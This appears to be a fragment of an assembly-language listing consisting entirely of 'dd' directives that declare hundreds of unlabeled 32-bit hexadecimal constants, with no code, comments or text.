		dd 0F0C2231h, 0E15F0D8Ch, 7F5E3CF7h, 3760BD7Eh,	4BB28868h
		dd 4095F19Fh, 1435055Bh, 294A7B01h, 40EC68F8h, 64BF5450h
		dd 752C300Fh, 4F04D196h, 18DDD54Fh, 0CF1A803Eh,	3809495Bh
		dd 0DFD69BE9h, 27204CB6h, 4552B7D7h, 0F980CA4Eh, 971C4709h
		dd 0C224A016h, 0CA8158AEh, 6BBD20EBh, 49E0EAD9h, 0E9340BC8h
		dd 42469078h, 9D54AD09h, 1CDA656Bh, 0A1F75AE9h,	3F40E2A0h
		dd 0D39D6F1Fh, 0C1EF9652h, 353EE9ADh, 0BEF16B0Bh, 253036C8h
		dd 0B0584315h, 6983140Ah, 0E904B731h, 9CF3B37Fh, 0F1BF2D79h
		dd 51E6C476h, 0E2725986h, 0AA32044Ah, 0BF45F42Ah, 0D69521Eh
		dd 55D249FAh, 6B9F313Fh, 0DF5093CBh, 667904CFh,	0EB92E93Bh
		dd 33B32B20h, 0C11120BAh, 5F72EB0h, 0F73916F9h,	4F9AB2CBh
		dd 0C3D261EEh, 0C14B8119h, 4FBD3E03h, 3E84A93Eh, 0BC93B02h
		dd 77D851h, 0F957313Ah,	69E6FC7Fh, 23F5690Dh, 237CE85h
		dd 1773F64Dh, 0B3780874h, 0FC4DB2CBh, 6AFE845h,	3E66552Dh
		dd 84F47B28h, 4640B48Ah, 2B273CE1h, 14C95602h, 0D784F001h
		dd 0E878F433h, 535C4E18h, 2D99AB9Ch, 0F5946Bh, 5EEAC5E1h
		dd 5B345CD5h, 8452B48h,	6CE1C27Ah, 8120E7F2h, 0BC535EADh
		dd 0B93AA910h, 1A5906Dh
		dd 82B3B8B4h, 7122E330h, 0B4C380C0h, 1F4FDEE9h,	413B0BB4h
		dd 9DD27B2Eh, 0D771F568h, 0A205E825h, 0FF8BAAF2h, 0DE9FB64Ch
		dd 2915605Ah, 0E951301h, 99E1D38Eh, 795F0B03h, 7F9EFC18h
		dd 0E9640935h, 9C55AD09h, 4EF89013h, 80D2857h, 2E2DA75Dh
		dd 0FB12A2CFh, 0E2D256FCh, 31688233h, 0A39A01h,	0B279B0F7h
		dd 7652B732h, 6B920A30h, 3B387EC3h, 0EB00255Dh,	1F73C453h
		dd 68DC93E9h, 9EDAF46Fh, 1BB3C41Ah, 0D4B0FA41h,	38009734h
		dd 895BBD5Ah, 0FEA073FCh, 63166FCDh, 0ACC4293Bh, 1E5F080Ch
		dd 0E1540FD9h, 6DCF0F36h, 3264E5F2h, 13A04E97h,	5DDB6095h
		dd 0C17428B8h, 9E21492Ch, 0FEBD109h, 556689E4h,	0DF38F85h
		dd 0D3F3E69Dh, 0F6F4E04h, 0ADEC493Bh, 61E2532Fh, 5A3BA60h
		dd 51E38ABEh, 0ABB7E953h, 79B442Ah, 0C68305D4h,	0B1E6D603h
		dd 0F777EB33h, 0C34EF84Eh, 28F2666h, 0FD1416BCh, 42E4255Eh
		dd 841E5774h, 0BAFD7C97h, 93DCAC27h, 9390FDE9h,	0C948A4E9h
		dd 0F012DEDDh, 0F4AF8784h, 0B241B357h, 0A4816B41h, 2DDC302Bh
		dd 32327058h, 0BE83A1Eh, 6BA955E2h, 0C3297A03h,	0EBF06A27h
		dd 24ABC517h, 13F1EF94h, 96A8E92Ah, 29E4DEE8h, 98B6F06h
		dd 700F4C7Eh, 5822B632h, 388BD83h, 0EB80800Ah, 0F60BC0C4h
		dd 6757F6EFh, 0F1A30C59h, 0B19EC3Ah, 0DFD0683Dh, 0B8921144h
		dd 7E3E5966h, 5BE74C19h, 0FE001F20h, 7EDC0CDh, 0B8B6B050h
		dd 63CAB78Bh, 20C8EF5h,	0DC681F47h, 729EC3DAh, 8F7DB03h
		dd 0DF472634h, 0B7910CA4h, 0A23A3F2Ah, 545DC9E4h, 0B850AD0Fh
		dd 33AC802h, 0D54C0167h, 0C09EE9Ah, 0B2D0527Ah,	38AA5EF5h
		dd 0AA40E88Ah, 4FD977F7h, 0BF8F8035h, 6A3D6FF9h, 43F42548h
		dd 7F4EE8E3h, 4B623D1Fh, 0E513EF9Eh, 0D7C96AF6h, 9F98246Ch
		dd 5A7C1020h, 2002AA29h, 7D25D536h, 4F095670h, 7E8F0BE9h
		dd 48586742h, 388A0F02h, 95A6D709h, 872F1208h, 0B518DA95h
		dd 0B5685971h, 13D41643h, 0B5B48847h, 0D953077h, 0E9625106h
		dd 0EC17A649h, 8281ED2h, 0B60CBE12h, 59190114h,	79106E1Eh
		dd 0AD49D11Fh, 0EF0049AFh, 6AC110EAh, 7FF34BC9h, 9AF656ABh
		dd 1CEC77D2h, 6CCE918h,	0EB9EB71h, 0C1933785h, 0E3D1C1DEh
		dd 3BCF05E9h, 0E8A41B8h, 685A82DAh, 32F72A57h, 0A5665CFCh
		dd 4014B27Dh, 0BA54D158h, 58DA78E2h, 0F920F74Ah, 15800F0Ch
		dd 0FC98904h, 522D1F59h, 0A1378985h, 22492095h,	8193BF5Ch
		dd 394C388Bh, 73358640h, 35F69804h, 9193AB23h, 6D94DBB5h
		dd 160C3CADh, 0DDEBAB75h, 6F68D075h, 8DE94308h,	0B1632DDFh
		dd 0F6B40B9Dh, 0BD32A170h, 7C22242Ch, 0AC5D1236h, 5BB2F403h
		dd 0D699E983h, 0EC2BD04h, 8AA01179h, 0BB7E27Eh,	0C098E961h
		dd 57FE26E4h, 0B2D20296h, 77584ECh, 0ED03F4BDh,	1BCA1279h
		dd 7FABCDB0h, 4E5B5E26h, 0C5348F09h, 0FD43149Bh, 0CF57AA0Ah
		dd 0A18B09B9h, 7FEF5EE3h, 10100AC9h, 0DB17D7F3h, 82BBD924h
		dd 8277F005h, 508AE968h, 50580ED8h, 0E64FDC88h,	0A9F5AA69h
		dd 0E4390E9Eh, 53FD3F67h, 92F1C700h, 0FE316513h, 0D180E917h
		dd 2650C8A2h, 673132Eh,	50F9B47Ah, 31E65704h, 67F05EE9h
		dd 0CD87135Bh, 0E982651h, 1873C0B5h, 664B2803h,	2A9C0182h
		dd 820F333Dh, 0D790DAB1h, 0FD25FEBAh, 5B2819B7h, 0F23C2C2Bh
		dd 0E13BC941h, 0F0FCE37Fh, 0EA904BDAh, 749D3505h, 3CBC294Ch
		dd 3C6DC102h, 6FF20192h, 0A7540882h, 4DA01393h,	73B09758h
		dd 9083039Dh, 177005D8h, 0BE31782Fh, 0D1AF0735h, 69FCBCAAh
		dd 13053C15h, 6ECD4669h, 0A04B0F22h, 0E362C16Eh, 55267A26h
		dd 0C880461Ch, 9BB8ADB7h, 2A4DD4C3h, 0C852FB98h, 2665FEBBh
		dd 96097F73h, 3182F0CFh, 3768F30Ah, 858D9322h, 0BC3E7549h
		dd 812DC150h, 0C23E197Bh, 78B0550h, 4AF26F00h, 8B9056AEh
		dd 0C005A83h, 15C62CDDh, 0BFBC25E9h, 2875F4A0h,	17CA9EAh
		dd 679ED4BDh, 0BF164E2Eh, 50DD87D8h, 10E7868h, 0F707A37h
		dd 8C165684h, 0BBC96B5h, 7A3441CEh, 408CEDE0h, 552D53D2h
		dd 13EBC45Bh, 957D829h,	0F8980FC6h, 0EEA4CA01h,	53D76A32h
		dd 0F4BC5095h, 0AA76974h, 0ACDA6804h, 2548007Bh, 9077B38h
		dd 69901C35h, 4960AFE3h, 0B72C8905h, 818FA5Dh, 0EE5E5AA3h
		dd 0BDE1B243h, 80338353h, 7690FA1Bh, 0EB4D2484h, 252580FDh
		dd 9835ED60h, 41BF4FA4h, 215FFD35h, 26AD6BE8h, 0BA757089h
		dd 6B517DA5h, 4A9D5242h, 5F0CCA05h, 590BDE4Ch, 3017A768h
		dd 0BE9394AFh, 0C57DDAB1h, 0A13432C9h, 1316B905h, 97516FFh
		dd 7EE14A30h, 1E65D85Ch, 2D889C9Ch, 12541F1Ch, 47EF82ABh
		dd 830B16C0h, 984273Eh,	0E8010EF1h, 24079BF8h, 14E173F0h
		dd 445A07EBh, 0FD3656E0h, 907D9E37h, 0F451D983h, 2B09440h
		dd 0A1674899h, 9328F71Ch, 9A0000BFh, 295FF026h,	9E94297h
		dd 10B05D08h, 0A7A8DAABh, 0DAB55DEBh, 5BF87D71h, 0EFD912CDh
		dd 0BB80FECAh, 50C96ABCh, 20A043D0h, 0F3FAEA56h, 0ABE68100h
		dd 74486827h, 5E8D014Ah, 0F1D17B96h, 9E5A2E56h,	0B2C6126h
		dd 4427A620h, 751CEEBAh, 0ACBD440Ch, 5B85B80Dh,	9FDFA09h
		dd 0B970EA00h, 71BD7C83h, 0FC6AF412h, 520E4901h, 0E1316E27h
		dd 0C3808B8Fh, 22D3E73Eh, 0EE0F2226h, 0DECEE459h, 0B3A1A3F8h
		dd 6B13EAAh, 0C2CBE002h, 13C2D5FCh, 37E410FDh, 0BB59808Ch
		dd 50428F02h, 55EBD126h, 0D43A7A02h, 0F7810104h, 0E7238FEDh
		dd 0FDDF716h, 34E04810h, 0BE7CE902h, 0F92120C4h, 0A39ED3C2h
		dd 83E72C17h, 8A19E1D8h, 5A108E3Fh, 2CC30BBh, 0B13ED14h
		dd 0CA0AF229h, 0A44853Fh, 2AA11BC5h, 0B27DC530h, 83CE9DABh
		dd 79FD8825h, 4D0581FAh, 2A39957Ch, 0FD4A0FE2h,	0A468E18Ah
		dd 0F1388E35h, 0AA025AC9h, 0B34A8301h, 4638B158h, 0FAE35A11h
		dd 11B6C84h, 4831BA66h,	0F7D842D1h, 0B95895DAh,	0C313A12Ch
		dd 8BCEEB07h, 1218C3FBh, 0BE5AD508h, 2B71B50h, 33E93FA1h
		dd 926D217h, 60E032F4h,	0BA0B025Fh, 0C0AD0592h,	2D4CFD0Eh
		dd 72950F72h, 0B9054A8Eh, 594C4898h, 4EF850A5h,	25CD6F12h
		dd 37A682AEh, 599D4C7Bh, 1DEE2357h, 2B3A395Ch, 79E90E06h
		dd 0F7042D30h, 27950405h, 0C82A49FFh, 66EAC686h, 0DE3B802h
		dd 75313299h, 0F0100A10h, 5FC385C0h, 0B011124Dh, 9E21FAC7h
		dd 8C0F0312h, 6500CEA9h, 0BB0E72CBh, 5E0AE97Dh,	0E8D4D5B5h
		dd 0F2B75E26h, 0CDE8E9C2h, 0D1526C5Eh, 0AC7C896Ah, 9B780276h
		dd 0C31DC1ECh, 7F1016BAh, 0E11082B2h, 9DBC5BD3h, 760DAEA4h
		dd 0ED83B60h, 61AC2D65h, 88347F2h, 6B7835EAh, 0C45A749Dh
		dd 0E53A493Ch, 0EE2F3C66h, 630C17F3h, 4094CD07h, 0CB018758h
		dd 0B951D3F7h, 28C12061h, 0E9C3B02Fh, 7BE1DFF6h, 8104CCAh
		dd 67F85F63h, 0EF565412h, 0F8DA6D66h, 0AF89BD34h, 0F5C9E4F9h
		dd 709DB7C6h, 204F0E4Dh, 0D18449D4h, 7108ABEFh,	11822D64h
		dd 7E0BD0A4h, 177783B1h, 92E92040h, 0BA1A9C3Ah,	7C473447h
		dd 5E82A7A2h, 4C678EC6h, 5FA3AA12h, 2665C13h, 0C0B70F66h
		dd 3E4EC4E1h, 8A01CBD9h, 0B8210F50h, 1ABDCF00h,	0ED694F08h
		dd 0A4A34003h, 0D2EA9725h, 49B322FEh, 50585B90h, 1C7E756Ah
		dd 0C2E97417h, 63C160AFh, 0F5CDB19h, 0D65D2F91h, 0C4DE1345h
		dd 0C9B0AF58h, 42C6BD61h, 8A8A544Bh, 791B024Bh,	0BD64770Dh
		dd 0F286BF02h, 0D8A5E988h, 0E7D19719h, 3FB5062h, 0C393CBFEh
		dd 446B68F8h, 0C74DB9FAh
		dd 0E48D09A2h, 404F7AC0h, 0AD03B607h, 8BE9A317h, 12425AFDh
		dd 25B90504h, 0A45EA80h, 0E040148Ah, 46F4C981h,	0F92F4AB4h
		dd 0B5FAF420h, 0A16B78D0h, 3229D1B0h, 13F65A26h, 20472944h
		dd 46037F5Ah, 68E92BA2h, 0B9164F98h, 2A844102h,	39E869FFh
		dd 0A23B1840h, 582868DAh, 29E1451Ch, 0E3A242F5h, 5899DE09h
		dd 6CB582E6h, 0EC212FFBh, 0F61611E8h, 2E69EA8h,	38FCB290h
		dd 0D632BE26h, 1930BF13h, 3E66A6BBh, 0D6964844h, 0DCB7A5DCh
		dd 0CEAB1360h, 494004EAh, 370215D7h, 7A800F64h,	81545C46h
		dd 76CD8EF7h, 0F30B2F89h, 92B95CCEh, 1ECEAEE3h,	567FE913h
		dd 0B16E822Bh, 59BF41DDh, 444C667Ah, 62CCDE9Fh,	6E57F4F9h
		dd 0CAB1005Eh, 5305E1C0h, 0FE040BB7h, 86F780CFh, 45D410F1h
		dd 5BF93D30h, 2C5DF187h, 0EBC2FB1h, 528304C8h, 0CAF092B2h
		dd 0E23BC042h, 69C21702h, 0A25996FBh, 931AFC58h, 5024F0ADh
		dd 339F0091h, 8AB86BD6h, 0F3F440Bh, 0AF7CFC31h,	0E910371Ch
		dd 3586902h, 0E16BB905h, 4156B916h, 41884008h, 0F0A17A74h
		dd 0AC83C4Ch, 861EC868h, 4AA29F94h, 0E8B497E8h,	9DB6C5C9h
		dd 54860B2h, 7F32E618h,	5C18F0E2h, 0B50C4C01h, 14F1371Ch
		dd 0A4C02924h, 8800CEB3h, 865B66DAh, 0D0CCFEE2h, 0A3C9108h
		dd 0D1F6CA8Ch, 0BED8E908h, 1E7CB958h, 7D2D7B14h, 0A8A99881h
		dd 21CD89B0h, 2FD5C910h, 9510B7B3h, 0E8301646h,	4450F80Fh
		dd 41BBA496h, 2068F999h, 5B7DC203h, 0C8F5EB0Dh,	4C4DA71Bh
		dd 9272D7DBh, 4F5F242Eh, 0A720185Eh, 40BDEFC1h,	0C5F9DF44h
		dd 0E047E922h, 42092D19h, 960AF660h, 0A8687D8Bh, 49EEE9DFh
		dd 0D63BD920h, 0FF458F92h, 0F63BDB26h, 79F45CCDh, 0B17D5281h
		dd 7D34F90Dh, 0D8E908ABh, 9BB8303Bh, 9598E745h,	0A0AE9A20h
		dd 0C4319836h, 9C27173h, 8EF0146h, 0B26EDEF7h, 6F8A1C08h
		dd 0FA001E12h, 3A17418Eh, 0C42573E9h, 0E84B80BBh, 55B7C79Dh
		dd 3D3003B9h, 0F2A71CA2h, 2B984B2Ch, 43393200h,	0C11F42E5h
		dd 0EBC107E3h, 0CEC4E657h, 0C55A1828h, 3CC6FED6h, 4D0E0030h
		dd 0F38129A7h, 7A2D3F17h, 0C0B5651h, 0C363B546h, 0F8EC202Eh
		dd 0C7CC2027h, 0B76747FBh, 0ED098C58h, 0FD85D262h, 6C57E062h
		dd 0F45F4DA2h, 2279BE5Eh, 29FC83Eh, 0F17B778Ah,	0AE14D525h
		dd 0A675909Dh, 0B83FE148h, 30FBE5EDh, 0DCBE997h, 0CD605381h
		dd 887E03B3h, 0D0F65BD8h, 3B9D40F9h, 4BA36731h,	312D22C2h
		dd 58FFE3CAh, 0A87CB74Eh, 974DE9F0h, 555B6801h,	6DEE8281h
		dd 575DB866h, 70B8AC2h,	0BE4F507Ah, 0BD7FB3B1h,	8BAAB41Ch
		dd 68570642h, 20E7461Dh, 0BA021C98h, 0C41043A7h, 248C929h
		dd 0FD54D393h, 0C9CA75Eh, 5EE52F68h, 4C312BC6h,	5FFE872Dh
		dd 89D7B72Eh, 0B072465Ch, 60929ABFh, 256384Eh, 0F4F87B2Bh
		dd 70F8B94Bh, 0C8577189h, 26057EC7h, 17053845h,	5A99E836h
		dd 3427CACAh, 5F55EE60h, 17DCA2C8h, 254EBC5Eh, 0A5CB7B97h
		dd 4C43D7D4h, 803A379Eh, 0FF53348h, 3E37A3D9h, 79E8F824h
		dd 6EE341A4h, 2073E371h, 7A2F66Eh, 2142EE51h, 0B1DB75F1h
		dd 1C65A70Ch, 932C25ACh, 0F1A410A4h, 4AE7385Ch,	25A4EBACh
		dd 74B4EA09h, 490B27E9h, 0C973C97Ah, 65B97702h,	5E488E0Fh
		dd 79624F29h, 0F3605308h, 0EF244A10h, 0D1107725h, 8E14EC4Eh
		dd 0F759CB51h, 575478C2h, 0B9480D6Dh, 0DFFCB50Dh, 7F934162h
		dd 6EC16C99h, 0DAC9656h, 0BAF55D25h, 2FF252EDh,	51513745h
		dd 0B48142h, 0FB045ABBh, 0BDB84A02h, 60AFA87Fh,	0B8405B53h
		dd 0E582F985h, 0E07CAAC5h, 0C70540DFh, 3CB4300Bh, 0F5C4618h
		dd 88D931ECh, 4A6B0504h, 808184E8h, 0BC685253h,	4852C862h
		dd 0EA81DDE4h, 449D41EBh, 0C002166Ah, 6E220E5Bh, 83533312h
		dd 5B01E101h, 1D6FFB87h, 4B430197h, 2CA7D2E9h, 81C0D6DCh
		dd 9D70FA68h, 0F24BC7C6h, 9CAF3F12h, 72945170h,	2CBDF792h
		dd 4094A7Bh, 0CF4C31CBh, 69CB5A96h, 30C82550h, 0D93AEF71h
		dd 0B39C78E9h, 68565201h, 583B794Eh, 0C3FEB907h, 6B880F09h
		dd 0B1CFA047h, 5CE9C07Bh, 6305D407h, 0EF5EC1FEh, 0DF78D640h
		dd 0A131E6E7h, 13D40DD4h, 35711C3Eh, 299E0FB5h,	4F44E040h
		dd 0A6122555h, 0FF055C0Ah, 5B398D91h, 20F5330h,	0E960AC16h
		dd 8E4962B2h, 3A4A61F7h, 0B70C8996h, 95E2CA5h, 1185F3EAh
		dd 0AAEA133Fh, 90F27369h, 4A1EE9BAh, 0C784A4CDh, 0F29B702h
		dd 11F6F8Dh, 8242A9E9h,	81684F0Ah, 2F19517Bh, 141755D9h
		dd 0B9BFAEC0h, 784F131Ah, 0BE90EF31h, 181DC130h, 0DD75B3E9h
		dd 40381CEEh, 1C444B92h, 550EC18Bh, 9851DC7h, 0F8556C57h
		dd 0E3D05BE6h, 90EE93A9h, 63CB992h, 0F66DAC2Dh,	5A8B0439h
		dd 0E4FF81F3h, 0B6B86EF1h, 9325808Bh, 2089B15Dh, 1811DA0h
		dd 0A977B9E3h, 0F0280E8Bh, 0DE214252h, 97E98C71h, 0EF248033h
		dd 0C02D1DFCh, 98793AE3h, 0ECB15F3Dh, 0B5D8C41Ch, 0B8ED0416h
		dd 48F816CBh, 21E2481Ch, 45B45112h, 0B8FCA89Eh,	0BF5400BEh
		dd 0DE0D174h, 42017F18h, 0ECFD2D0Bh, 807F80B4h,	4BE95AB6h
		dd 256FBE49h, 1E237CBAh, 0F518CAF3h, 0A907437Fh, 0DB27107Dh
		dd 0E2A9FE3Eh, 67F7EB11h, 0E9FD87E9h, 65FC2F23h, 9D4FBBC6h
		dd 6C80D713h, 7CAD53D3h, 0F1742777h, 44D5583Ah,	0C6E91270h
		dd 0A0F8EC58h, 0A0B17A28h, 0BDD2DEDCh, 6320F06Ch, 0AE16A3A3h
		dd 0A0FEBFD9h, 9AF861FBh, 0CC183E50h, 0B17877BBh, 202BC358h
		dd 6BA0540h, 0AB23931Ah, 9B46EBC1h, 0DD8A443Ah,	32FE0C42h
		dd 79A5612Fh, 21495BF6h, 0B6B96FD4h, 0A0A6E983h, 97A0265Eh
		dd 0B33B5A68h, 82503C03h, 73D16761h, 9C185E58h,	0E98F308Bh
		dd 31CC1894h, 809182E3h, 549F5D54h, 0BA33DBE6h,	78837AA3h
		dd 4525E116h, 29025578h, 2DE17768h, 0E9891856h,	599027DCh
		dd 0C8CF296Fh, 750018Dh, 5A29A6B8h, 9AC9E344h, 4F0C284Dh
		dd 47D3EFB8h, 70030469h, 0E9D02888h, 0EDA1BC5Ah, 0AC5FF036h
		dd 5A05CAC4h, 7A43BF8Bh, 0D9DC2D79h, 0C1CAE6F6h, 0F8E05117h
		dd 1E0F4D7h, 657BE77h, 21312998h, 5E59FC24h, 20CE5095h
		dd 0A2B01D67h, 7822B91Fh, 59CA8940h, 2F24CB8Bh,	305C5B87h
		dd 408A0F04h, 0E98420ABh, 0BCA9C36Dh, 0FFB62EEBh, 2F82E15Fh
		dd 95183EF6h, 0AFB42EEEh, 664BB20Eh, 2810C350h,	8058B0E2h
		dd 6C366C2h, 0EAF01435h, 0D106BDEBh, 0EB873016h, 4436F197h
		dd 5EA8ECCCh, 3F68E370h, 0DCC69F43h, 0D75821BCh, 0FD90722h
		dd 414ED6F7h, 24B2CA8Fh, 0FC41F4FCh, 225A941h, 0EE7A907Ah
		dd 705BD475h, 8A410BFh,	22FC5D36h, 91D3729Fh, 0D8450C6Ch
		dd 954A295h, 0D9BD5440h, 0EA5C0B31h, 46980DEh, 5FCFEF3h
		dd 0D1F65CE0h, 2C705298h, 788E76BDh, 548198E3h,	0D3DDE5D8h
		dd 7B31EB2Ch, 5D031F0Ch, 8C41B604h, 9480D8E8h, 9AB2E1Ah
		dd 96FAE907h, 0A9653F22h, 0D298405Ah, 400BAF2Eh, 0AE2AA207h
		dd 75FE3162h, 8702E5FAh, 111C13Ch, 0B7080974h, 967C2F0Ah
		dd 0AA24E99Eh, 0F732B38Bh, 0F27D8612h, 0AAE915ACh, 0F42F9E52h
		dd 0E4FFAE9Ah, 5AD712B6h, 1A3D9233h, 522D5F00h,	14927976h
		dd 705C801h, 202D9A5Bh,	98DB092Ch, 6C12361Ah, 15202DCh
		dd 0C0440381h, 0D6EF4881h, 400FA80Eh, 564EBE87h, 27E97409h
		dd 1CEE51AAh, 0AF2EE63h, 40637E9Dh, 35212D3Ch, 5F1C015Bh
		dd 6A0079Dh, 6A0A2CC5h,	7F130C6Eh, 300D0CEEh, 0C902F447h
		dd 19C2F7F3h, 59449556h
		dd 571F76CBh, 1280A7E9h, 6C36DBBFh, 0E7814107h,	41B6470h
		dd 0E4AF6856h, 1C5EF764h, 7F482DEFh, 0FA4BBBC8h, 717E0FE3h
		dd 0CBA474B5h, 0AA38264h, 0C2969F60h, 129EF57Ch, 3424E781h
		dd 997F1437h, 35982018h, 0D27DE9E2h, 7F8065DDh,	5F70EC18h
		dd 59CB2F29h, 45F634C8h, 0E91B4805h, 0BEAD1C7Eh, 0C9098000h
		dd 33E32D62h, 51032BE0h, 965201B9h, 2EE84D66h, 0C267F18h
		dd 0C5247EA0h, 0E827A043h, 7D41A45Eh, 0C8290E5Ah, 58425059h
		dd 1547CF01h, 42B2D627h, 0D456ECE9h, 7440051Eh,	0D12D10F2h
		dd 12143A2Fh, 0D84CD28Eh, 1208E9CBh, 841169Dh, 0CA2877F7h
		dd 0D211B02Eh, 2803B760h, 0E85B5FF8h, 6A68B001h, 0FB189765h
		dd 0CDB78B15h, 3A55AD0Fh, 255EC87Dh, 95E8A4CDh,	35DFCCCBh
		dd 0A488EBDFh, 85680453h, 0B36A2279h, 23004FD2h, 0F6E7213h
		dd 53A72982h, 193A00C5h, 0EE9DDB3h, 8B4CCF48h, 0E61CD05Bh
		dd 43761370h, 81740E83h, 6F469360h, 0B636E92Ah,	400C474Eh
		dd 0FD5E0132h, 5CCB01A3h, 3ABE7400h, 62481752h,	9BF44B1h
		dd 0E9F18904h, 49AA511Ah, 0DA705B72h, 992C5D7Ch, 7142A119h
		dd 68C20EA0h, 3562E55h,	9ABEC54Fh, 96664CABh, 0C7F65126h
		dd 4027E394h, 9F1424C4h, 0DB906DEEh, 0D2CAB35Ah, 5E409E3Ch
		dd 39190507h, 0E0B502D6h, 0C43A5E89h, 42C1BEABh, 0C1026B3Fh
		dd 0B82DBB50h, 0BDA3F15Bh, 6836E530h, 0B7940B73h, 0FCBE0162h
		dd 5A8A5042h, 8AFB9C83h, 8FE9C264h, 89F95E56h, 94D576BCh
		dd 163F4F62h, 148ABEFCh, 0D3AEE982h, 59D391D5h,	36E2987Bh
		dd 29AFF74Fh, 428CA8BCh, 0EF752C62h, 30AC966Dh,	0BE3EE7F1h
		dd 64303A29h, 719D26Ch,	0A8145AC2h, 0E0F00D3h, 25585D6Fh
		dd 0A0461EC5h, 52858F08h, 5E69056h, 14020B24h, 8BC78917h
		dd 0DC69DDCEh, 53DAD1E9h, 7BBAF8B3h, 5B328270h,	42B1C4Fh
		dd 0DD07FE31h, 95C288C3h, 0EDC1FF40h, 0B0845EBh, 0F5D622F7h
		dd 8ADED158h, 0E57D9809h, 0B85008F0h, 4231EA60h, 0D41E5B37h
		dd 0C808171Fh, 9F4A912Ah, 4F79A1F3h, 537309EEh,	0EF9E354Eh
		dd 593C5C2Fh, 163EBFh, 0D4C9CABBh, 0AF9209Bh, 1A7E8B0Fh
		dd 6DD9EAFh, 0F1514789h, 66804378h, 67F31D81h, 0D3F74A55h
		dd 2DA32003h, 0B15F01DFh, 98A87EEh, 8F07DBF7h, 68C3525Bh
		dd 5AF210E7h, 810F965Eh, 0A792CF2h, 2EF53FEAh, 0E949C75Fh
		dd 0A55CC942h, 893F070Ch, 9F2EDFB4h, 2D81BED8h,	57E94A0Ah
		dd 72EF2AD5h, 84005AFEh, 98770348h, 27CE0C6Fh, 676E72D7h
		dd 6D8AE00Bh, 63A0DD01h, 299236BEh, 304A05B0h, 9DA1FF98h
		dd 1CDFB209h, 27DEB76Fh, 5F72E958h, 3F9F89B3h, 53814BF2h
		dd 0A5FCCBE9h, 0ECCE8F5Bh, 53D43F05h, 3278DD59h, 462AE1B3h
		dd 6A70D58Bh, 7D9B7EF1h, 38E12814h, 0A09BF97h, 488678B7h
		dd 0DA018488h, 0DEB3585Bh, 0B5BD4030h, 10B0F69Ah, 4A695738h
		dd 1A3A8EFEh, 7D809388h, 55A78C1Eh, 57F9740Bh, 0D0C3BD19h
		dd 34F4FB3h, 0A9E42AF5h, 0B82CF828h, 9CDA22Bh, 80F39608h
		dd 63123EE9h, 2D995C20h, 0D9C5D728h, 4EE7E827h,	9635040Ah
		dd 0AA30BE3Eh, 318475FDh, 43DDC8F5h, 2E88749h, 0CA1BF57h
		dd 9545C098h, 0F0D5A6AFh, 5C6402Bh, 0AA667000h,	62EA2D67h
		dd 2675508Dh, 0D5B841F3h, 30DF5151h, 0A1FD3CD8h, 0E87BF968h
		dd 40EDCB1Dh, 953433ABh, 1A76B8FFh, 12E29223h, 91695885h
		dd 3EE3D521h, 0E46564B2h, 8EC281D3h, 0D17D2050h, 840FE604h
		dd 7BA44D45h, 246C1FABh, 0DD8C0B6Dh, 0E46F226h,	0BFA27931h
		dd 0AF5037F3h, 125FBEE1h, 0A01B217Ah, 642A6820h, 0BB056615h
		dd 4EA73010h, 0E6F0E80Eh, 640C116Bh, 0FE1EB676h, 1395A4C8h
		dd 0D821B73Dh, 353D539Bh, 0D6878633h, 9708D2F7h, 1F986766h
		dd 154960Eh, 83E6C945h,	0E019BED5h, 133C91F6h, 0BB09253Fh
		dd 46B09E21h, 0DCBA0401h, 2FBDAAFCh, 7E1D8BF4h,	85756B3Fh
		dd 6BB96015h, 0FD61FED6h, 9D74DB02h, 21ABD6Ch, 5DC6695Dh
		dd 0A061BF2Ah, 55818B2Ah, 208025C3h, 2ADAC589h,	0E9742CAFh
		dd 0FC2F6827h, 5950E25Bh, 1A036675h, 572DCAE9h,	0D47AE060h
		dd 8F0F2309h, 0D5594261h, 2989F1E8h, 2BBDE9h, 92CCCE1Fh
		dd 0AB406DE9h, 7DF818F7h, 8659D6DAh, 5250E603h,	0E96CB151h
		dd 0A935A19Ah, 355240A5h, 6A92B2F8h, 0D1D1682Fh, 30BD81D0h
		dd 7B4CA91Dh, 4AE979F0h, 68E080D7h, 0EB2C35EAh,	0CF087770h
		dd 97923AC7h, 7B49A769h, 6AFB122Dh, 0BB959ABh, 3DE4EE9Ch
		dd 0A591D8A1h, 27AE7086h, 12D14B1Dh, 0EB1FC92h,	99FE8A3Ah
		dd 0BD50E031h, 0C249432Dh, 61800F84h, 0CC2661DEh, 0C7603B02h
		dd 3DBDC13Ch, 264EBD00h, 8102F590h, 0A0BA4E5h, 97C76049h
		dd 223B005Dh, 7E0E5605h, 0E83F296Bh, 51C727E9h,	4FE0A000h
		dd 0E752BFD2h, 2C1416ABh, 0E70A0532h, 8A688021h, 9072D14h
		dd 725490E9h, 42063E72h, 0FAF01BADh, 0A5F32926h, 8BA40B20h
		dd 7ECA7120h, 1C1D72BAh, 0E7776817h, 2136BD98h,	81357A2Dh
		dd 4AAE0E86h, 369DC20h,	0E90DDA9Bh, 0AA85956Ch,	4B60439Ah
		dd 20976852h, 0D76FAA30h, 0B5D1DDE9h, 2F217FC6h, 0E9548446h
		dd 5F9DA0B1h, 64F8294Fh, 0E4C61812h, 6016BF72h,	0E8EC591Fh
		dd 0E4440117h, 19402ABAh, 0AD095E5Ah, 535785E7h, 66D10BC0h
		dd 6A3A76C2h, 0E2C6EFFh, 13FE9590h, 968BFF87h, 0D20BEF4Eh
		dd 6F7FFE47h, 3B21FD02h, 74BA1641h, 0E2905EE8h,	59A8A42Dh
		dd 0C7C879h, 8FA397D3h,	81E7E3E9h, 877EED5h, 0A96F4038h
		dd 0FFBC4AD0h, 0D429CF8Dh, 33C0C5C7h, 18235AEBh, 2556B96Eh
		dd 0B0246E67h, 5A94FFADh, 3D75539Dh, 317CC7A5h,	9082F5CBh
		dd 0E77E435Fh, 0AD73904h, 630C6FAh, 1E180760h, 2547913Bh
		dd 7C868BE9h, 54A1E43h,	82520180h, 0A22AC013h, 0E93A55D8h
		dd 75A10327h, 0CDD21F96h, 0F4E1ECF8h, 68E3EE7h,	0D2C89C50h
		dd 0F792AA52h, 0DC9AAA35h, 77018103h, 3983039h,	0D11FD48Ch
		dd 90BDF85Bh, 5073721Ah, 4D0B4E68h, 1A69FD3Eh, 5059C229h
		dd 557217h, 21BA7F80h, 0E99D0858h, 45C65F25h, 0AE5D944Dh
		dd 0CE5F078Bh, 0ADE1B5BAh, 0F2EF32Bh, 680E11F8h, 0EAA95639h
		dd 62F3D88Bh, 20CEB880h, 97E94EBFh, 91327FAh, 0DCAD5AD6h
		dd 0F496005h, 9DC0AB48h, 0C125E928h, 6F592F0Ch,	67F40041h
